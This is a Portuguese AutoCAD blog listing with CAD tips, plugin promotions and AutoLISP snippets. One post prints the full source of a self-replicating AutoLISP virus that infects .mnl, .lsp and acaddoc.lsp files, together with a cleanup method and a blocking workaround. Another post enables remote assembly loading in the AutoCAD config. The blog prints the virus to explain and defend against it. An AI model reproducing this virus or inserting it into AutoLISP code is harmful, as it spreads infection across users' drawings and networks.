Mostrando postagens com marcador AutoCAD. Mostrar todas as postagens
Mostrando postagens com marcador AutoCAD. Mostrar todas as postagens

TBN2CAD disponível no BricsCAD V25

Sabia que o TBN2CAD também roda no BricsCAD, ZWCAD, GstarCAD, além do AutoCAD e Civil 3D?

É isso mesmo!! Imagine ter a tela do Google StreetView dentro do CAD e ver as imagens de satélite inseridas no ModelSpace:


E se precisar importar/exportar KML/KMZ, o TBN2CAD contem o EXPGE2 e o READKML2, estes eu sei que você já conhece, hehehe



Ah, você quer testar, sem compromisso? Sem problemas, basta seguir o link: TBN2CAD

Como ordenar os layouts do AutoCAD em ordem crescente

Hoje surgiu uma questão num grupo de whatsapp (mórre deabo!!) de como seria uma maneira de ordenar os layouts no AutoCAD.
Bem, considere o código abaixo:


(defun c:ordenalayout (ordem listaLayouts layouts)
  
;carrega as extensoes VL
  (vl-load-com)
  
  (
setq
    
;obtem a coleção de layouts do desenho atual
    listaLayouts (vla-get-layouts (vla-get-activedocument (vlax-get-acad-object)))
    
;obtem a lista de nomes de layout, ordenados em ordem crescente
    layouts      (vl-sort (layoutlist'<)
    
;inicializa a ordem
    ordem        1)
  

  
;para todo nome de layout na lista de nomes ordenados
  (foreach layout layouts
    
;poe a ordem do layout igual a 'ordem'
    (vla-put-taborder (vla-item listaLayouts layoutordem)
    
;incrementa a ordem
    (setq ordem (1+ ordem))
    )
)

Ele ordena os layouts em ordem alfabética (ok, lexicograficamente em ordem crescente).

Note, estou supondo que se tem número no nome do layout, você escreveu algo parecido com:
"FL-01", "FL-02", ... "FL-55", ... "FL-XX"

E não:
"FL-1", "FL-2", ... "FL-55", ... "FL-XX"

Note que os números menores que 10, tem o zero na frente.

Criando template de memorial no C3DMEMO de lotes em arco

Boa tarde pessoal,
Você já viu esses loteamentos diferentões, onde as ruas são todas em arco?



Pois bem, motivos para fazer ele assim não faltam, enfim. Mas e o memorial descritivo disso? como fica?

É possível fazer ele com o C3DMEMO?
R: Sim, com certeza!!

O C3DMEMO consegue identificar o tipo do segmento, aplicando a descrição apropriada, claro que isso depende de você montar um template que aplique estas considerações.

Vamos ver como fazer esse template? Assiste o vídeo!!!


Sim, o template criado no vídeo está na pasta de instalação do C3DMEMO, com o nome "MODELO DE MEMORIAL COM LOTES EM ARCO"

Abra ele e teste no seu projeto. Se funcionar, dá um joinha no vídeo!!!

O resultado será algo assim:



Ah, se você melhorar este template e quiser compartilhar ele com outras pessoas, me mande que eu coloco na instalação da próxima atualização do C3DMEMO

Como visualizar o Google Streetview dentro do AutoCAD

Como usar o Goolgle StreetView dentro do AutoCAD

Bom dia pessoal!!

Um pequeno vídeo pra mostrar como configurar o TBN2CAD corretamente para que o plugin do StreetView funcione de acordo

Bom, vamos lá, segue o vídeo:


Algumas pessoas me reportaram que o programa está abrindo em algum local aleatório, que não aquele que elas queriam.

Bem, isto ocorre porque as configurações não são válidas.

A primeira coisa que você tem de ter em mente, é que o streetview funciona nas ruas onde o Google passou com o carro do streetview!!!

A segunda coisa, é que o seu projeto precisa estar georeferenciado!!

No plugin, você faz isso aqui:



Ao usar o programa, ele pede uma coordenada, onde o observador estará.
No meu exemplo, usei SIRGAS 2000, fuso 22 e hemisfério Sul, nas coordenadas Leste=677125 e Norte=7184816

Estas coordenadas mostram o Jardim Botânico, aqui em Curitiba

Veja que você pode ter uma vista em planta para te auxiliar a posicionar o bonequinho do streetview:


No canto superior esquerdo, clique o botão "Maps" para ligar/desligar a vista em planta.
Note que ao mover o bonequinho, a seta direcional no cad também mudará de posição:



O plugin vai te ajudar muito quando estiver fazendo algum tipo de cadastro topográfico, projeto de revitalização de vias ou mesmo construído algum croquis de localização no seu projeto em cad.

Ah, eu falei que o TBN2CAD (que contem o plugin streetview) também funciona no ZWCAD, BricsCAD e no GstarCAD?

Não é só no AutoCAD não!!!

Ah, só não funciona no famigerado AutoCAD LT. Neste caso você terá de usar o CADSTA junto... só que convenhamos, a licença do autocad lt mais a licença do cadsta, custa mais que a licença dos outros cads...


Curso de programación para Civil 3D y AutoCAD en español

Hola, ¿sabías que el Curso de Programación Civil 3D y Autocad también está disponible en español?



Versión impressa: https://www.amazon.com/dp/B08KJ667QK



eso es, español !!

ahora puedes reírte conmigo de los memes, quiero decir, aprende de mí cómo empezar a hacer programas para autocad y 3d civil, genial ¿no?

¿Quieres una muestra del libro para verlo?

Haga clic en este enlace para descargar la muestra: https://tbn2net.com/downloadamostra.php?id=1

En Amazon, ¡también puedes leer algunas páginas!

Después de comprar el libro, llámame al whatsapp (+55 41 998275531) para descargar los ejercicios, hay 34 ejercicios, desde los más simples hasta los más avanzados.


Manipulando eventos no AutoCAD - Parte 1

Bom dia pessoal!!!

Vamos sair um pouco desses programas que estou criando e vamos voltar um pouco nas origens do blog.

Vamos de "tutô"!!!

Neste, vamos tentar entender EVENTOS.

O que são eventos?

Eventos são ações disparadas em certas situações, por exemplo, quando desenhamos uma simples linha no cad, um evento ObjectAppended é disparado no database do desenho atual.

Este evento informará o "sender", no caso qual database (pro caso de você ter vários desenhos abertos) e mais algumas informações em uma classe "ObjectEventArgs". Nela, terá uma propriedade que informa qual objeto foi adicionado.

Bem, esta postagem não é a ajuda da API do AutoCAD, então se você quer ver mais explicações sobre este evento, deve olhar lá na ajuda da API, ok?

Usamos eventos sempre que queremos que o nosso programa reaja a uma ação do usuário (ah, o usuário.... este ser incompreendido, heheheh)

Não seria legal que quando o usuário carrega seu programa, este já "configura" os menus, adiciona o programa no "autoload" para que não precise mais fazer NETLOAD depois da primeira vez alem de "ligar" outros eventos no programa?

Seria, né? Então vamos ver o primeiro evento que vamos precisar: INITIALIZE/TERMINATE



Para usar os eventos de inicialização e encerramento, precisaremos de uma classe publica que implemente "IExtensionApplication" que está no NameSpace "Autodesk.AutoCAD.Runtime"

Note, esta classe é criada e executada UMA UNICA VEZ após o NETLOAD. Em princípio, você não deve criar outras instâncias desta classe durante a execução do AutoCAD.

Após o usuário ter feito o NETLOAD, o AutoCAD procura por uma classe que implemente este "IExtensionApplication" e se encontra, a instancia e executa o método INITIALIZE.

Quando o usuário FECHAR o AutoCAD, antes de encerrar, o AutoCAD executa o método TERMINATE desta classe.

Quer dizer que é aí que eu colocaria "PROGRAMA CARREGADO" pra aparecer após o netload??
Isso mesmo, Veja:


E pra carregar o menu, adicionar o programa no autoload? Bem, isso tudo você irá implementar dentro da sub Initialize, conforme descrevo no "Curso de Programação para Civil 3D e AutoCAD".

Para que o seu programa funcione bem, é preciso "escutar" uma série de eventos em diversos objetos. Os principais são:

Para o documento ( o dwg em si ):
DocumentCreateStarted
DocumentCreated
DocumentActivated
BeginDocumentClose
BeginSave
SaveComplete

Para o database ( a base de dados do documento ):
ObjectAppended
ObjectErased
ObjectModified

E para os comandos que o usuário for usando:
CommandWillStart
CommandCanceled
CommandEnded
CommandFailed

Estes são os que eu mais uso. Não significa que você irá usar todos e também não significa que só tem esses, ok?

Bom, esta postagem será a primeira parte sobre eventos. 

Em breve, a segunda parte. Nela, vamos ver as "assinaturas" (sintaxe de como usar) destes eventos e como adicionar um mecanismo de "liga/desliga" ok?





C3DMEMO - Adicionando cotas nos lotes

Este vídeo mostra como o C3DMEMO pode cotar os lotes, quadras e ruas do seu loteamento de forma rápida, prevendo superposição.



Se você ainda não viu como instalar, veja aqui

Aproveita e veja também como criar memoriais descritivos dos lotes, quadras ou mesmo das ruas, bem como criar tabelas de vértices, estatísticas de área e também criar croquis de localização dos lotes!!

C3DMEMO - Criar tabela de vértices do lote

Este vídeo mostra como criar um template de tabela de vértices com distâncias e azimutes dos lotes. No vídeo optei por fazer na versão AutoCAD do plugin, pois há uma diferença de como o programa interpreta o que é um lote.





Se você não viu o post que ensina a instalar o plugin, veja aqui
Quer criar memoriais em formato texto? Então clica aqui.

Os menus sumiram!!!

Bom dia!!!

Não deixe de aproveitar a promoção relâmpago de carnaval!!!

Hoje vamos "tentar" corrigir um erro comum no AutoCAD. As vezes, por algum cagada motivo, os menus somem:

Já aconteceu isso com você? O ribbon simplesmente some.

Em geral, isso ocorre porque descarregou o ACAD.cuix ou C3D.cuix ou CIVIL.cuix (estes dois últimos são do Civil 3D) padrão, ou ainda você tentou carregar um menu de algum plugin que está mal feito e isso corrompeu um desses arquivos aí.

Bem, primeiro tente apenas recarregar o menu do CAD, com o comando MENULOAD:


Percebe que a lista está vazia?

Mas onde se encontram os arquivos CUIX que você menciona no início?

Eles estão aqui:

C:\Users\<nome do usuário>\AppData\Roaming\Autodesk\<Versão do AutoCAD>\enu\Support

Note, a pasta AppData normalmente está oculta, então pode ser necessário mostrar pastas ocultas:



Ah, pode ser que você tenha mudado os arquivos de usuário de C:/ para D:/, como eu (olhe o caminho na imagem) então presta atenção!!!

Navegue até a pasta, no meu caso, uso o Civil 3D 2018:


Pode ser interessante mostrar também as extensões do arquivos.

Localizou os arquivos que mencionei (ACAD.cuix ou C3D.cuix ou CIVIL.cuix)?

Perceba, que junto deles, tem as versões de backup também:


Em muitos casos, bastaria apenas fazer o MENULOAD do ACAD.cuix (se for autocad puro) ou Civil.cuix (se for o Civil 3D), mas pode ser que você tenha uma Ribbon vazia como resultado:


Se isso acontecer, primeiro descarrega o menu com o comando MENUUNLOAD. Deixe a lista vazia, descarregando todos os menus.

Após isso, restaure os backups dos arquivos CUIX na pasta ENU:


Note que renomeei "Civil.cuix" para "Civil.cuix com erro" e "Civil.bak.cuix" para "Civil.cuix". O mesmo você faz com o ACAD.cuix (se estiver trabalhando com o autocad puro) e faz o MENULOAD novamente:


Pronto, isso deveria bastar.
MAAAASSSSS, em alguns casos não adianta!!!

Aí você faz o seguinte:

No caso do Civil 3D, tente carregar o C3D.cuix (com o menuload). Este arquivo deve conter os dados de Civil.cuix e mais os menus personalizados que você tentou carregar ( e que possivelmente deu pau, pra começo de conversa).

Aí você ainda faz o seguinte:

Digita CUI na linha de comando e na tela que se abre, olhe se é possível restaurar, clicando o botão direito do mouse sobre o Civil, logo abaixo de "All Customization Files":


Funcionou??

Não???

Creia: isso é bem comum!!!

Mas e agora???

Tente recuperar os arquivos CUIX de UserDataCache para a pasta Support do seu usuário.
São duas pastas no caso do Civil 3D (se você usa o cad em outro idioma, o caminho pode mudar):

C:\Program Files\Autodesk\<Versão do AutoCAD>\C3D\UserDataCache\Support
C:\Program Files\Autodesk\<Versão do AutoCAD>\UserDataCache\en-us\Support



Copia os arquivos para a pasta:
C:\Users\<nome do usuário>\AppData\Roaming\Autodesk\<Versão do AutoCAD>\enu\Support

Sobrescreve todos!

Agora, faz mais uma vez o MENULOAD e carrega o ACAD.cuix (autocad) ou CIVIL.cuix (Civil 3D) que você acabou de sobrescrever.

Não carregue os arquivos das pastas UserDataCache!!!! Eles são o seu BACKUP e se você ferrar com eles, provavelmente terá de reinstalar o cad (ou copiar de outro computador)

Pronto!!! Viu como é fácil?? hehehehe

XREFs Lentas ao carregar

Boa tarde pessoal!!!

Sim, eu sei, faz mó cara que eu não posto nada... Parte disso se deve ao trabalho, parte à preguiça mesmo, hehehe!!!

Hoje quero dividir com vocês uma dica muuuuuito legal pra resolver aquelas lentidões misteriosas ao carregar XREFs no AutoCAD....

O que, ainda não usa XREF? nossa..... tá mais que na hora de começar!!!

Mas chega de enrolação!!!

Primeiro, por que as XREF ficam lentas para abrir?? eu já pesquisei um pouco sobre isso e no geral as dicas até que foram interessantes, mas não resolveram o problema...

Não sei se já falei disso aqui, mas na informática existem três tipos de problema apenas:
  1. hardware
  2. software
  3. peopleware

Adivinha ONDE estão concentrados 99,99% dos problemas???? sim.... no peopleware!!!

Se bem que desta vez, dá pra culpar o software, né Autodesk????

Aqui no escritório usamos o Civil 3D para criar nossos projetos e na "montagem" das pranchas usamos muito XREF. O caso é que esses XREF são criados com o Civil 3D.

Algum problema com isso? Não deveria, maaaaaaaasssssss.......

Ao criar o desenho usando o Civil 3D, mesmo sendo  um DWG "puro" (casto!!!!) o Civil 3D irá armazenar uma grande quantidade de informações não visíveis no arquivo, tais como estilos e configurações.

Some a isso, o fato do arquivo ser aberto em um AutoCAD "puro" ou outros CADs (zwcad, etc_cad...). Isso acaba por "poluir" o dwg e nessas horas começa ser bastante recomendável o uso do AUDIT.

Tive um problema com um desses DWG de montagem que puxava 26 XREFs, cada uma com cerca de 1,7 a 2,5 MB, onde todos estavam num caminho de rede no servidor da empresa.

Bem, só pra carregar o arquivo principal levava uns 8 minutos, depois gastava mais us 5 a 10 pra cada "load xref" da linha de comando....

Em pricípio, todos inclusive eu, desconfiávamos da rede em fim...

Primeiro teste que eu fiz, foi AUDIT nos arquivos de XREF, mas usando o AutoCAD 2015 "puro".
Com isso os arquivos que antes tinham de 1,7 a 2,5MB caíram para cerca de 60% do tamanho original, fora que o AUDIT corrigiu diversos erros relacionados aos estilos do Civil 3D e que nem deveriam estar mais no arquivo....:
Mas ainda não havia resolvido....

Tentei a dica do SCALELISTEDIT, que é um bug do antigo do AutoCAD, mas também não resolveu...

Tentei também a dica do VISRETAIN, mas sem sucesso..

Aí resolvi apelar...

Abri as XREFs uma a uma, esperando entre 3 e 4 minutos cada para abrir....

Quem já usou o comando COPYCLIP do AutoCAD, talvez tenha percebido que elecria um arquivo temporário na pasta TEMP (C:\Users\usuário\AppData\Local\Temp):


Fiz o COPYCLIP de tudo que estava no Model, pois como são XREFs, está tudo no model mesmo...

Fui até a pasta TEMP e renomeei o arquivo gerado e abri no AutoCAD. Obviamente idêntico.

Ai salvei e páh!!! O arquivo que tinha 1,7MB virou 150KB!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Isso mesmo!!! reduziu mais de 10x o tamanho!!!

Então resolvi testar o tempo de abertura do arquivo. Resultado? Instantâneo, como deveria ser!!

Bom, fiz isso nos demais... Ao abrir o DWG que carrega os XREF, foi de boas, como deveria ser, ALGUNS SEGUNDOS, NADA MAIS!!!

Só que deu ruim, pois os desenhos estavam georeferenciados e na hora que carregou, caiu tudo fora de lugar....

Aí abri novamente um a um as XREF e fiz o comando INSBASE e mudei para 0,0,0.

Pronto, foi só fazer o reload das XREF e estava tudo as mil maravilhas!!!


Bom, mas não satisfeito resolvi experimentar outra solução:

Abri as XREFs com problema e salvei como DXF na versão 2000. Depois abri os DXF e salvei como DWG na versão 2013. Isso usando o AutoCAD "puro" 2015.

Também resolve!!!!!

Bom, é isso!!! Testem aí nos arquivos de vocês e me digam se funciona também!!!



C3DMEMO - Programa para criar memoriais descritivos - Civil 3D e AutoCAD

E finalmente o link do programa de memoriais descritivos!!!

Roda em Civil 3D e AutoCAD puro!!!

Veja o programa agora mesmo:
https://tbn2net.com/C3DMEMO

Baixe ele para testar aqui: Download

veja algumas telas do programa:
Programa que gera o memorial em documento do M$ Word:

Programa que cria as folhas com o croqui do lote com seu descritivo:

Programa que cria tabelas para locação por exemplo:


Para a versão que roda no AutoCAD, tem ainda a tela para configurar o programa:



Aqui vemos o editor de macros:


Este sim evoluiu muito!!! Inicialmente ele iria funcionar com HTML, mas aí pensei, para muita gente HTML é ruim de trabalhar, pois é meio que voltar pra era do MS-DOS ou coisa assim, hehehe!!!

Agora o programa de Memorias pode formatar o texto quase como se fosse num editor de textos de verdade!!!

A simplicidade do programa vai tornar o processo muito mais produtivo e a forma como implementei, se parecendo com o "Label Style Composer" do Civil 3D ficou, modéstia à parte, show de bola!!!

Bom, esta é a primeira versão deste programa então, apesar de eu testar ele exaustivamente, pode ter bugs!!

Mas é isso, pode baixar ele aqui: Download

Vírus de Auto Lisp (acaddoc.lsp) - Uma possível solução

Lembra daquele famigerado vírus de autocad?

Pois é...

Se o seu AutoCAD também está leeeento, travando.... talvez você também tenha milhares de "acaddoc.lsp" distribuído na sua rede e na sua máquina....

Chegou a ler o fonte do mesmo? Não? Veja!!

Agora, analisando ele, nota-se que ele usa a função OPEN para se replicar.

E se redefiníssemos esta função, para que ela fizesse um teste antes de executar??

Bem, veja:

;;solução para o virus acaddoc.lsp
;; https://tbn2net.com
(IF (NOT *old_open*)
  (
PROGN
    (setq *old_open* open)
    (
defun open (file flag)
      (
if (member (strcase (vl-filename-extension file)) '(".LSP" ".MNL")  )
    (
PROGN
      (ALERT (STRCAT "TENTANDO CARREGAR VIRUS EM:\n\n" FILE "\n\n(EXIT) SERÁ CHAMADO APOS ESTE ALERTA\n\nLOCAL:\n" (GETVAR "DWGPREFIX") ))
       (
vl-file-delete (strcat (GETVAR "DWGPREFIX") "acaddoc.lsp" ))
      (
EXIT))
    (
*old_open* file flag)
    ))))
(
princ)
;;fim da solução
;;


Percebe como redefini esta função?

Eu armazeno a função OPEN original na variável *old_open* e redefino em seguida.

Como eu fiz:

Abri cada um dos arquivos *.LSP que esse vírus infecta na pasta C:\Users\\AppData\Roaming\Autodesk

Inclui esse código acima nele. Bem no início.

Também adicionei um "acaddoc.lsp" na pasta C:\Users\\Documents
com o conteúdo do código acima, pois o autocad carrega ele ao fazer o comando "QNEW" por exemplo. Como não há um caminho definido para o desenho ainda, o autocad assume que seja a pasta de documentos do usuário.

Bem, aqui está ajudando!!!

Se você é TI e tem uma rede pra administrar, dê um jeito de colocar esse código salvo como "acaddoc.lsp" na pasta de documentos do usuário quando este faz o login.

Não se preocupe. O usuário não dá a mínima pra isso. Eles só reclamam que tem vírus, mas não fazem nada para não pegar!!!


Na pior das hipóteses, não irá causar problemas, hehehe

Erro ao carregar um programa no AutoCAD com o NETLOAD

Muitas vezes tentamos carregar um programa no AutoCAD e dá um erro inesperado na linha de comando, escrevendo algo parecido com isso:



Cannot load assembly. Error details: System.IO.FileLoadException: Could not load file or assembly 'file:///C:\C3DRENESG\C3DRENESG4_2012_2000.dll' or one of its dependencies. Operation is not supported. (Exception from HRESULT: 0x80131515) File name: 'file:///C:\C3DRENESG\C3DRENESG4_2012_2000.dll ' ---> System.NotSupportedException: An attempt was made to load an assembly from a network location which would have caused the assembly to be sandboxed in previous versions of the .NET Framework. This release of the .NET Framework does not enable CAS policy by default, so this load may be dangerous. If this load is not intended to sandbox the assembly, please enable the loadFromRemoteSources switch. See http://go.microsoft.com/fwlink/?LinkId=155569 for more information.



Este erro é bem comum e está relacionado a versão do  .NET Framework instalado na sua máquina.

Para resolver este problema, você precisará:

  1. Localizar C:\Program Files\Autodesk\__autocad__\Acad.exe.Config, onde  __autocad__  é a pasta do autocad ou vertical. 
  2. Marcar este arquivo para poder ser editado (leitura e escrita), talvez você precise de permissão de administrador para isso.
  3. Adicionar estas linhas, deverá ficar assim:

<configuration>
  <startup useLegacyV2RuntimeActivationPolicy="true">
    <supportedRuntime version="v4.0"/>
  </startup>

  <runtime>         
    <loadFromRemoteSources enabled="true"/>
  </runtime

  <system.diagnostics>
    <sources>
      <source name="System.Windows.Data" switchName="SourceSwitch">
        <listeners>
          <remove name="Default" />
        </listeners>
      </source>
    </sources>
  </system.diagnostics>
</configuration>
Salve, abra o AutoCAD e tente novamente.

Simples não?

Video de como usar o EXPGE


Virus de autolisp

É eu sei que o blog está parado de postagens e é só propaganda, heheheh

Então vamos lá, que assuntos vocês gostariam de ver?

Visual lisp?

.NET?

Civil 3D?

AutoCAD?

Dicas de desempenho?

Escolham ai!!!!

Também posso publicar seus posts aqui, com crédito e tudo mais, aliás, um dos posts com mais sucesso foi um camarada que mandou, é aquele das video aulas de topograph!!!

Bom, aproveitando...

Vocês experimentaram uma lentidão absurda na abertura de algum desenho aí no cad de vocês???

Perceberam a criação de um acad.lsp ou acaddoc.lsp na pasta que você abre??

Pois é, aqui no escritório o bicho tá pegando por causa disso....

Vírus em autolisp pro autocad, é mole??

O TI aqui está quase doido, mas também os usuários não ajudam...

O vírus se propaga ao se replicar dentro de arquivos LSP e MNL, criando ainda um acad.lsp ou acaddoc.lsp.

Os arquivos que ele costuma infectar também estão aqui:
C:\Users\seu usuário\AppData\Roaming\Autodesk\programa da autodesk\enu\Support\

E os arquivos são:


  • C3D.mnl, somente civil 3d
  • Civil.mnl, somente civil 3d
  • acetmain.mnl, express tools
  • AecArchxOE.mnl, somente civil 3d?
  • acad.mnl, qualquer autocad ou vertical
Claro que pode pegar outros...

Dá uma olhada no código fonte do mesmo:




(setq flagx t)

(
setq flagx t)
(
setq bz "(setq flagx t)")
(
defun app(source target bz / flag flag1 wjm wjm1 text)
  (
setq flag nil)
  (
setq flag1 t)
  (
if (findfile target)
    (
progn
      (setq wjm1 (open target "r"))
      (
while (setq text (read-line wjm1))
    (
if (= text bz) (setq flag1 nil))
    )
;while
      (close wjm1)
      )
;progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (
setq wjm1 (open target "a"))
      (
write-line (chr 13) wjm1)
      (
while (setq text (read-line wjm))
    (
if (= text bz) (setq flag t))
    (
if flag
      (progn
        (write-line text wjm1)
        )
;progn
      );if
    );while
      (close wjm1)
      (
close wjm)
      )
;progn
    );if
  );defun
(setvar "cmdecho" 0)
(
setq acadmnl (findfile "acad.mnl"))
(
setq acadmnlpath (vl-filename-directory acadmnl))
(
setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(
setq mnlnum (length mnlfilelist))
(
setq acadexe (findfile "acad.exe"))
(
setq acadpath (vl-filename-directory acadexe))
(
setq support (strcat acadpath "\\support"))
(
setq lspfilelist (vl-directory-files support "*.lsp"))
(
setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(
setq lspnum (length lspfilelist))
(
setq dwgname (getvar "dwgname"))
(
setq dwgpath (findfile dwgname))
(
if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (
setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (
setq mnln 0)
    (
while (< mnln mnlnum)
      (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (
app mnlfilename acaddocfile bz)
      (
app acaddocfile mnlfilename bz)
      (
setq mnln (1+ mnln))
      )
;while
    (setq lspn 0)
    (
while (< lspn lspnum)
      (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (
app lspfilename acaddocfile bz)
      (
app acaddocfile lspfilename bz)
      (
setq lspn (1+ lspn))
      )
;while
    );progn
  );if
(setq mnln 0)
(
while (< mnln mnlnum)
  (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (
setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app mnlfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while
  (setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app mnlfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln (1+ mnln))
  )
;while
(setq lspn 0)
(
while (< lspn lspnum)
  (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (
setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app lspfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app lspfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while




Nem vou comentar....

A ideia básica é, achou um dos arquivos, copia o fonte do vírus pra dentro dele... Quando o arquivo é carregado, uma nova cópia é copiada pra dentro do arquivo...

Bem besta esse vírus, pois ele só cria um arquivo que vai crescendo.... aqui costuma ficar em 8 MB aí os cabeças reclamam...
o cad abre leeeeennnnnnntooooo pois está criando trocentos arquivos de vírus...

Bom, a resolução é:

Abre os arquivos MNL e LSP e apaga esses trechos, ou simplesmente sobrepõe o arquivo com uma versão não contaminada e, claro, apague os acad.lsp e acaddoc.lsp que estão nas pastas dos arquivos... Pois o autocad carrega esses arquivos quando os encontra na pasta do desenho a abrir...

É isso!!!

Erros estranhos em alguns comandos

Você já se deparou com o seguinte problema?

O AutoCAD não faz offset de uma polilinha, o trim não funciona em linhas tangentes a circunferências e coisas assim?

Repare nas coordenadas do WCS.

Elas possuem uma parte inteira muito grande? Tipo, se você usa UTM = WCS, terá coordenadas do tipo 500.000,000 por 7.000.000,000 certo?

E pior as vezes ainda dão escala de 1000 no desenho para fazer milímetros, ehehe

Mas por que isso acontece?

Bem, pense: quantos números reais existem? R: Infinitos
Quantos nossos computadores conseguem representar?

Aí depende. Se ele for de 32 bits, ele pode representar 2^32-1 (ou 4 Giga) números apenas.

E os outros? são arredondados para um que possa ser representado.... É meio massante as continhas que o processador faz e não perderei tempo  com isso, procure no oráculo

Aí aparece o problema: se uma linha é tangente a uma circunferência, a distância do centro desta à reta é matematicamente IGUAL ao  raio da circunferência, correto???

No AutoCAD isso pode não ser necessáriamente correto!!!

Era aquela história de dividir 1 por 3 e depois multiplicar por 3. Dá um?
As vezes dá 0.9999999999!!!!!

Então, cuidado!! se o trim não  funcionar, pode estar acontecendo isso...

DOTNET, AutoCAD e blocos

É, as imagens do blog sumiram... mas não adianta ficar choramingando... pede pra sair!!!! pede pra sair sr 01!!!!

Hoje vou mudar um pouco e postar um código pra substituir blocos de diversos desenhos.

O caso é o seguinte: nosso contratante sismou que queria um bloco do carimbo diferente com layers diferentes, etc.

Temos trocentos arquivos DWG, com trocentos layouts cada. Imagina o trabalhão de substituir cada bloco de cada desenho....

Sim, você deve (deveria!!!) ter usado XREF, mas por algum motivo, não o fez. Terá de fazer não mão!!!

Serviço, não?

Bom, existem muitas formas de fazer isso, e como sou programador (ou não!!!), claro que escrevi algumas linhas pra me resolver isso

O programa resultou nisto:


No primeiro campo informamos o nome do bloco antigo.

No segundo campo, informamos um dwg que contem um bloco com o mesmo nome, porem editado.

Fiz assim, porque este bloco possui atributos dinâmicos.

Depois, no terceiro campo você escolhe a pasta onde estão os trocentos arquivos a modificar.

O último campo tem o nome do atributo dinâmico de "Visibility State". Se não tiver isso, deixe em branco.

Bem simples, né?

Aí é só mandar rodar e esperar.....
Um fiz aqui com 125 arquivos de 1.2MB cada e levou uns 5 minutos!!! Isso porque usei o RAMDISK e porque a técnica que usei para abrir o desenho, não precisa fazer nenhum "Regen", que é o que realmente demora no autocad.

Bom, o programa em sí é funcional, e nele voce poderá ver como abrir um dwg, editar e salvar

Compilei para o cad 2012, a DLL está na pasta ./bin/debug

use NETLOAD para carregar e TROCABLOCOS para usar

o código fonte está disponível. Usei o VS 2010

Se você gostar, posta um comentário aí!!!


O código fonte e o executável estão aqui

Renomear blocos anônimos

Hoje eu precisei renomear uns blocos anônimos, sabe aqueles, com nomes tipo *U32 e coisas do tipo Aí eu pensei, será que dá? Afinal, normalmente a gente só dá um purge e já era, hehehe Tentei o comando RENAME, mas... os nomes não estavam ali!!! Pensei num lispezinho básico, funcionou, heehehe
acho que poderá ser útil para mais alguem:

(DEFUN C:RENOMEIA (/ ENT NOME VLA ACAD DOC LST)
  (
VL-LOAD-COM)
  (
SETQ    ENT  (CAR (ENTSEL "\nSelecione o bloco"))
    NOME (GETSTRING t "\nQual o nome novo?")
    VLA  (VLAX-ENAME->VLA-OBJECT ENT)
    ACAD (VLAX-GET-ACAD-OBJECT)
    DOC  (VLA-GET-ACTIVEDOCUMENT ACAD)
    LST  (VLA-GET-BLOCKS DOC)
    REF  (VLA-ITEM LST (VLA-GET-NAME VLA))
  )
  (
VLA-PUT-NAME REF NOME)
)

É isso!!, Só pra desenferrujar, hehhehe deverá funcionar no cad 2000 em diante